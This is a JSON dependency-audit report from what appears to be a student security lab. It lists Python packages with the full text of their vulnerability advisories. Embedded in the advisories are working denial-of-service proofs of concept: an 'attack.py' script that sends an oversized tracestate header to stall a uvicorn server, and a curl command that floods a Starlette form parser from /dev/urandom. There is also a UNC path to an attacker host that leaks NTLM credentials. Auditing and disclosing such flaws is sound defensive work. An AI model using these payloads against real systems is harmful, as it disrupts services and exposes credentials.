Files
mtusi2026lab7/evidence/dependency-audit-before.json
T

2 lines
24 KiB
JSON

{"dependencies": [{"name": "fastapi", "version": "0.115.0", "vulns": []}, {"name": "uvicorn", "version": "0.30.6", "vulns": []}, {"name": "psycopg", "version": "3.3.6", "vulns": []}, {"name": "psycopg-pool", "version": "3.2.6", "vulns": []}, {"name": "argon2-cffi", "version": "23.1.0", "vulns": []}, {"name": "python-dotenv", "version": "1.0.1", "vulns": [{"id": "PYSEC-2026-2270", "fix_versions": ["1.2.2"], "aliases": ["CVE-2026-28684", "GHSA-mf9w-mj56-hr94"], "description": "python-dotenv reads key-value pairs from a .env file and can set them as environment variables. Prior to version 1.2.2, `set_key()` and `unset_key()` in python-dotenv follow symbolic links when rewriting `.env` files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered. Users should upgrade to v.1.2.2 or, as a workaround, apply the patch manually."}]}, {"name": "redis", "version": "5.1.0", "vulns": []}, {"name": "boto3", "version": "1.42.0", "vulns": []}, {"name": "pillow", "version": "13.0.0", "vulns": []}, {"name": "opentelemetry-sdk", "version": "1.29.0", "vulns": []}, {"name": "opentelemetry-exporter-otlp-proto-grpc", "version": "1.29.0", "vulns": []}, {"name": "opentelemetry-api", "version": "1.29.0", "vulns": [{"id": "GHSA-xcq7-p3pf-p88h", "fix_versions": ["1.45.1"], "aliases": ["CVE-2026-114603"], "description": "## Summary `TraceState.from_header` splits the inbound W3C `tracestate` header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N\u00b2) CPU. A single unauthenticated request with a ~100 KB `tracestate` keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time. ## Affected component / version - Package: `opentelemetry-api` (pip) \u2014 `opentelemetry/trace/span.py` (`TraceState.from_header`), reached from `opentelemetry/trace/propagation/tracecontext.py` (`TraceContextTextMapPropagator.extract`). - Confirmed in `main` (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between. - Reachable with the default propagators (`OTEL_PROPAGATORS` defaults to `tracecontext,baggage`) from any server instrumentation that calls `propagate.extract()`, for example `opentelemetry-instrumentation-asgi`. ## Details 1. The header reaches the parser without any length check: ```python # opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57 tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # <-- attacker-controlled request header(s), any size if tracestate_headers is None: tracestate = None else: tracestate = TraceState.from_header(tracestate_headers) # <-- no length check before parsing (line 61) ``` 2. The split pattern and the parser: ```python # opentelemetry-api/src/opentelemetry/trace/span.py:45 _TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32 # <-- only enforced later, in TraceState.__init__, after the split _delimiter_pattern = re.compile(r\"[ \\t]*,[ \\t]*\") # <-- (line 46) starts with an unbounded [ \\t]* # span.py:382 @classmethod def from_header(cls, header_list: list[str]) -> TraceState: pairs = {} # type: dict[str, str] for header in header_list: members: list[str] = re.split(_delimiter_pattern, header) # <-- (line 400) VULNERABLE: O(N^2) on \"a=b\" + \" \" * N + \"x\" for member in members: if not member: continue match = _member_pattern.fullmatch(member) if not match: _logger.warning( # <-- also logs the entire malformed member (up to the whole header) \"Member doesn't match the w3c identifiers format %s\", member, ) return cls() ... ``` `re.split` tries the pattern at every offset. At each offset inside a whitespace run, `[ \\t]*` consumes the rest of the run, finds no `,`, backtracks and fails, then the engine moves one character forward and repeats. N characters \u00d7 up to N steps each = O(N\u00b2). The 32-member limit never gets a chance to run because `split` has to finish first. 3. The sibling propagator already has the missing guard: ```python # baggage/propagation/__init__.py:68 _MAX_HEADER_LENGTH = 8192 ... if len(header.encode()) > self._MAX_HEADER_LENGTH: # <-- (line 93) rejected before any regex runs; tracestate has no equivalent _logger.warning(...) return context ``` A 16 KiB header costs \u2248 0.25 s and an 8 KiB header \u2248 0.07 s. Measured cost of `extract()` on one core (valid `traceparent`, `tracestate: \"a=b\" + N spaces + \"x\"`): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6\u00d7 slower). Whether a server lets such a header through (header-size limits, tested): gunicorn rejects \u2265 8190 bytes (response code 431); `uvicorn --http h11` rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); `uvicorn --http httptools` \u2014 the default parser with `uvicorn[standard]` \u2014 accepted 300 KB, 1 MB, 5 MB and 20 MB `tracestate` headers. ## Proof of concept ### A. Show the quadratic cost (no server needed) 1. Install the API: `pip install opentelemetry-api` (any version from 1.0 up to the current main is affected). 2. Save as `poc_tracestate.py`: ```python import logging import time from opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator # The library logs the whole malformed member at WARNING; silence it so the timings stay readable. logging.disable(logging.CRITICAL) TRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\" propagator = TraceContextTextMapPropagator() previous = None for n in (10_000, 20_000, 40_000, 80_000): # N spaces after a valid member, no comma anywhere in the header carrier = {\"traceparent\": TRACEPARENT, \"tracestate\": \"a=b\" + \" \" * n + \"x\"} start = time.perf_counter() propagator.extract(carrier) elapsed = time.perf_counter() - start growth = f\"x{elapsed / previous:.1f}\" if previous else \"-\" print(f\"{n:>7} characters {elapsed:6.2f} s growth when size doubles: {growth}\") previous = elapsed ``` 3. Run `python poc_tracestate.py`. 4. **What to observe:** the time grows by about **\u00d74 every time the input size doubles** (a linear parser would show \u00d72). Absolute numbers depend on the CPU; the growth factor does not. Our run: ``` 10000 characters 0.06 s growth when size doubles: - 20000 characters 0.26 s growth when size doubles: x4.0 40000 characters 1.04 s growth when size doubles: x4.0 80000 characters 4.13 s growth when size doubles: x4.0 ``` Replace `\" \"` with `\"\\t\"` to see \u22481.6\u00d7 longer. ### B. Show that one request stalls a real server This uses `OpenTelemetryMiddleware` from `opentelemetry-instrumentation-asgi` around a trivial ASGI app and the default `uvicorn[standard]` parser (httptools). 1. Install: `pip install opentelemetry-api opentelemetry-instrumentation-asgi \"uvicorn[standard]\"`. 2. Save as `app.py`: ```python from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware async def app(scope, receive, send): await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": [(b\"content-type\", b\"text/plain\")]}) await send({\"type\": \"http.response.body\", \"body\": b\"ok\"}) app = OpenTelemetryMiddleware(app) ``` 3. Start the server in one terminal: `uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools` 4. Save as `attack.py`: ```python \"\"\"Send one oversized tracestate request and, while it is being handled, measure how long an unrelated request to the same server has to wait.\"\"\" import socket import sys import threading import time HOST, PORT = \"127.0.0.1\", 8000 N = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000 TRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\" def get(path, extra=\"\"): s = socket.create_connection((HOST, PORT), timeout=120) s.sendall(f\"GET {path} HTTP/1.1\\r\\nHost: x\\r\\nConnection: close\\r\\n{extra}\\r\\n\".encode()) start, data = time.perf_counter(), b\"\" while chunk := s.recv(65536): data += chunk return time.perf_counter() - start, data.split(b\"\\r\\n\")[0].decode() result = {} extra = f\"traceparent: {TRACEPARENT}\\r\\ntracestate: a=b{' ' * N}x\\r\\n\" attacker = threading.Thread(target=lambda: result.update(a=get(\"/attack\", extra))) print(\"idle /ping: %.3f s %s\" % get(\"/ping\")) attacker.start() time.sleep(0.5) # let the attack request reach the server first print(\"/ping during the attack: %.3f s %s\" % get(\"/ping\")) attacker.join() print(\"attack request itself: %.3f s %s\" % result[\"a\"]) ``` 5. In a second terminal run `python attack.py 100000`. 6. **What to observe:** the idle `/ping` answers in milliseconds, but a `/ping` sent half a second *after* the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run: ``` idle /ping: 0.000 s HTTP/1.1 200 OK /ping during the attack: 5.909 s HTTP/1.1 200 OK <-- unrelated request delayed ~6 s (event loop blocked) attack request itself: 6.408 s HTTP/1.1 200 OK ``` 7. Start the server with `--http h11` instead and run the same command: the attack request is rejected immediately (`400 Bad Request`, h11 header cap) and `/ping` is not delayed. Our measurements for `--http httptools`: 30,000 spaces \u2192 0.59 s; 100,000 spaces \u2192 6.57 s with the concurrent `/ping` delayed 6.07 s; 100,000 tabs \u2192 12.39 s with the concurrent `/ping` delayed 11.89 s. ## Severity **Likelihood: Low.** Any unauthenticated client can trigger it with one request on the default propagators, but only on servers that accept headers larger than roughly 16\u201330 KB. **Impact: Medium.** One request of about 100 KB costs 6\u201312 s of server CPU and, under an asyncio server, stalls every other connection for that time; repeating it keeps the service unavailable. **Severity: Medium.** ## Suggested remediation Replace the regex split with a plain `split` and strip; this removes the quadratic behaviour and is equivalent on valid input: ```diff --- a/opentelemetry-api/src/opentelemetry/trace/span.py +++ b/opentelemetry-api/src/opentelemetry/trace/span.py @@ def from_header(cls, header_list: list[str]) -> TraceState: for header in header_list: - members: list[str] = re.split(_delimiter_pattern, header) + members: list[str] = [m.strip(\" \\t\") for m in header.split(\",\")] ``` `_delimiter_pattern` (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with `_MAX_HEADER_LENGTH`. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty `TraceState`, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s. ## Credit Discovered and reported by SecDim Security Research secdim.com | @secdim | security@secdim.com --- **FROM MAINTAINERS** ## Summary `TraceState.from_header()` in `opentelemetry-api` used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound `tracestate` headers. Because W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request. ## Impact Services accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed `tracestate` values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop. The practical impact depends on the HTTP server, HTTP parser, and any upstream request-header limits. Common servers and proxies may reject oversized headers before they reach the application, while custom carriers or deployments with increased header limits may accept substantially larger values. Unlike optional propagation formats, W3C Trace Context is part of the default OpenTelemetry Python propagation configuration. The impact is limited to availability. This issue does not expose or modify telemetry data and does not allow code execution. ## Patches Versions of `opentelemetry-api` up to and including `1.45.0` are affected. Upgrade `opentelemetry-api` to version `1.45.1` or later. Version `1.45.1` replaces the affected parsing operation with linear-time processing and discards combined `tracestate` headers longer than 8,192 characters. ## Workarounds Ensure HTTP header size limits are configured at the server or gateway level. Most Python HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix."}, {"id": "GHSA-mf5v-w3w3-f6cg", "fix_versions": ["1.45.2"], "aliases": ["CVE-2026-126360"], "description": "## Summary `TraceContextTextMapPropagator.extract()` in `opentelemetry-api` is vulnerable to regular expression denial of service (ReDoS) when processing a specially crafted `traceparent` value. A malformed value containing a trace-context prefix followed by a long whitespace sequence and an embedded newline triggers quadratic-time regex backtracking. Applications that extract trace context from untrusted carriers accepting such strings can experience excessive CPU consumption and request-processing delays. When extraction runs on an asynchronous server\u2019s event-loop thread, a single malicious message can delay unrelated requests handled by that event loop. ## Exposure conditions Exploitation requires attacker-controlled input to reach the affected propagator through a carrier that preserves embedded newlines and permits a sufficiently large value. Conforming HTTP header values cannot contain embedded newlines. However, OpenTelemetry carriers are not restricted to HTTP headers. JSON strings can contain escaped newlines that become newline characters after decoding. MCP request metadata is one relevant integration path: applications may extract trace context from JSON `params._meta`. Exposure depends on the MCP SDK or instrumentation version, whether extraction invokes the W3C Trace Context propagator, and applicable message-size limits. HTTP header validation does not constrain a `traceparent` string carried inside a JSON body. Authentication requirements depend on the application exposing the carrier. ## Impact The demonstrated impact is denial of service through excessive CPU consumption and blocked request processing. Repeated malicious messages may sustain service degradation. This finding does not demonstrate data disclosure, data modification, or code execution. ## Remediation Upgrade `opentelemetry-api` to `1.45.2` or a later release containing the fix. Version `1.45.2` rejects `traceparent` values longer than 512 characters before regex matching and removes the overlapping suffix and trailing-whitespace expressions. Where upgrading is temporarily unavailable, reject oversized values and embedded CR/LF characters before passing untrusted trace-context values to the affected propagator."}]}, {"name": "psutil", "version": "6.1.1", "vulns": []}, {"name": "opentelemetry-exporter-otlp-proto-common", "version": "1.29.0", "vulns": []}, {"name": "opentelemetry-proto", "version": "1.29.0", "vulns": []}, {"name": "opentelemetry-semantic-conventions", "version": "0.50b0", "vulns": []}, {"name": "psycopg-binary", "version": "3.3.6", "vulns": []}, {"name": "botocore", "version": "1.41.6", "vulns": []}, {"name": "googleapis-common-protos", "version": "1.75.0", "vulns": []}, {"name": "grpcio", "version": "1.86.0", "vulns": []}, {"name": "importlib-metadata", "version": "8.5.0", "vulns": []}, {"name": "jmespath", "version": "1.1.0", "vulns": []}, {"name": "protobuf", "version": "5.29.6", "vulns": []}, {"name": "pydantic", "version": "2.14.4", "vulns": []}, {"name": "pydantic-core", "version": "2.50.5", "vulns": []}, {"name": "python-dateutil", "version": "2.9.0.post0", "vulns": []}, {"name": "s3transfer", "version": "0.16.1", "vulns": []}, {"name": "starlette", "version": "0.38.6", "vulns": [{"id": "PYSEC-2026-161", "fix_versions": ["1.0.1"], "aliases": ["CVE-2026-48710", "GHSA-86qp-5c8j-p5mr", "X41-2026-002"], "description": "Starlette reconstructs the requested URL based on the HTTP Host request header and requested path, but does not perform any validation of the Host header value. This allows attackers to inject paths into the host part, prepending the actual path. However, routing in Starlette is based on the actual request path. This inconsistent interpretation of HTTP requests may lead to issues such as authentication bypass when the authentication depends on the reconstructed URL\u2019s path."}, {"id": "PYSEC-2026-249", "fix_versions": ["1.3.1"], "aliases": ["CVE-2026-54283", "GHSA-82w8-qh3p-5jfq"], "description": "Starlette is a lightweight ASGI framework/toolkit. From 0.4.1 until 1.3.1, request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. This vulnerability is fixed in 1.3.1."}, {"id": "PYSEC-2026-248", "fix_versions": ["1.3.0"], "aliases": ["CVE-2026-54282", "GHSA-jp82-jpqv-5vv3"], "description": "Starlette is a lightweight ASGI framework/toolkit. Prior to 1.3.0, the HTTP request path is not validated before being used to reconstruct request.url. Because request.url is rebuilt by concatenating {scheme}://{host}{path} and re-parsing the result, a path that does not begin with / (for example @google.com) moves the authority boundary during re-parsing, so request.url.hostname and request.url.netloc become attacker-controlled. Code that reads request.url.hostname (rather than the Host header or scope) can therefore be misled into trusting an attacker-supplied host. This vulnerability is fixed in 1.3.0."}, {"id": "PYSEC-2026-1943", "fix_versions": ["0.40.0"], "aliases": ["CVE-2024-47874", "GHSA-f96h-pmfr-66vw"], "description": "### Summary Starlette treats `multipart/form-data` parts without a `filename` as text form fields and buffers those in byte strings with no size limit. This allows an attacker to upload arbitrary large form fields and cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt, or the OS terminates the server process with an OOM error. Uploading multiple such requests in parallel may be enough to render a service practically unusable, even if reasonable request size limits are enforced by a reverse proxy in front of Starlette. ### PoC ```python from starlette.applications import Starlette from starlette.routing import Route async def poc(request): async with request.form(): pass app = Starlette(routes=[ Route('/', poc, methods=[\"POST\"]), ]) ``` ```sh curl http://localhost:8000 -F 'big=</dev/urandom' ``` ### Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) accepting form requests. "}, {"id": "PYSEC-2026-1941", "fix_versions": ["0.47.2"], "aliases": ["CVE-2025-54121", "GHSA-2c2j-9gv5-cj73"], "description": "### Summary When parsing a multi-part form with large files (greater than the [default max spool size](https://github.com/encode/starlette/blob/fa5355442753f794965ae1af0f87f9fec1b9a3de/starlette/formparsers.py#L126)) `starlette` will block the main thread to roll the file over to disk. This blocks the event thread which means we can't accept new connections. ### Details Please see this discussion for details: https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403. In summary the following UploadFile code (copied from [here](https://github.com/encode/starlette/blob/fa5355442753f794965ae1af0f87f9fec1b9a3de/starlette/datastructures.py#L436C5-L447C14)) has a minor bug. Instead of just checking for `self._in_memory` we should also check if the additional bytes will cause a rollover. ```python @property def _in_memory(self) -> bool: # check for SpooledTemporaryFile._rolled rolled_to_disk = getattr(self.file, \"_rolled\", True) return not rolled_to_disk async def write(self, data: bytes) -> None: if self.size is not None: self.size += len(data) if self._in_memory: self.file.write(data) else: await run_in_threadpool(self.file.write, data) ``` I have already created a PR which fixes the problem: https://github.com/encode/starlette/pull/2962 ### PoC See the discussion [here](https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403) for steps on how to reproduce. ### Impact To be honest, very low and not many users will be impacted. Parsing large forms is already CPU intensive so the additional IO block doesn't slow down `starlette` that much on systems with modern HDDs/SSDs. If someone is running on tape they might see a greater impact."}, {"id": "PYSEC-2026-2281", "fix_versions": ["1.1.0"], "aliases": ["CVE-2026-48818", "GHSA-wqp7-x3pw-xc5r"], "description": "Starlette is a lightweight ASGI framework/toolkit. In versions 1.0.1 and earlier, StaticFiles on Windows is vulnerable to SSRF. An UNC path such as \\\\attacker.com\\share can cause os.path.realpath to initiate an outbound SMB connection before the path is rejected, exposing the service account\u2019s NTLMv2 credentials for offline cracking or relay even though the HTTP response is only a 404. The issue affects default follow_symlink=False deployments, including frameworks built on Starlette such as FastAPI; POSIX systems and follow_symlink=True are unaffected. The issue is fixed in 1.1.0."}, {"id": "PYSEC-2026-2280", "fix_versions": ["1.1.0"], "aliases": ["CVE-2026-48817", "GHSA-x746-7m8f-x49c"], "description": "Starlette is a lightweight ASGI framework/toolkit. In versions 1.0.1 and below, when dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs. When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler. An application (including Starlette-based frameworks like FastAPI) is affected if it registers an HTTPEndpoint subclass via Route(...) without explicitly setting methods=, and that subclass includes extra methods named like non-standard HTTP verbs that take one request argument and return a response. This issue has been fixed in version 1.1.0."}]}, {"name": "anyio", "version": "4.16.0", "vulns": []}, {"name": "typing-extensions", "version": "4.16.0", "vulns": []}, {"name": "urllib3", "version": "2.8.0", "vulns": []}, {"name": "annotated-types", "version": "0.8.0", "vulns": []}, {"name": "click", "version": "8.5.1", "vulns": []}, {"name": "deprecated", "version": "3.0.1", "vulns": []}, {"name": "wrapt", "version": "2.5.2", "vulns": []}, {"name": "h11", "version": "0.16.0", "vulns": []}, {"name": "idna", "version": "3.21", "vulns": []}, {"name": "six", "version": "1.17.0", "vulns": []}, {"name": "typing-inspection", "version": "0.4.5", "vulns": []}, {"name": "zipp", "version": "4.1.2", "vulns": []}, {"name": "argon2-cffi-bindings", "version": "26.2.0", "vulns": []}, {"name": "cffi", "version": "2.1.1", "vulns": []}, {"name": "pycparser", "version": "3.12", "vulns": []}], "fixes": []}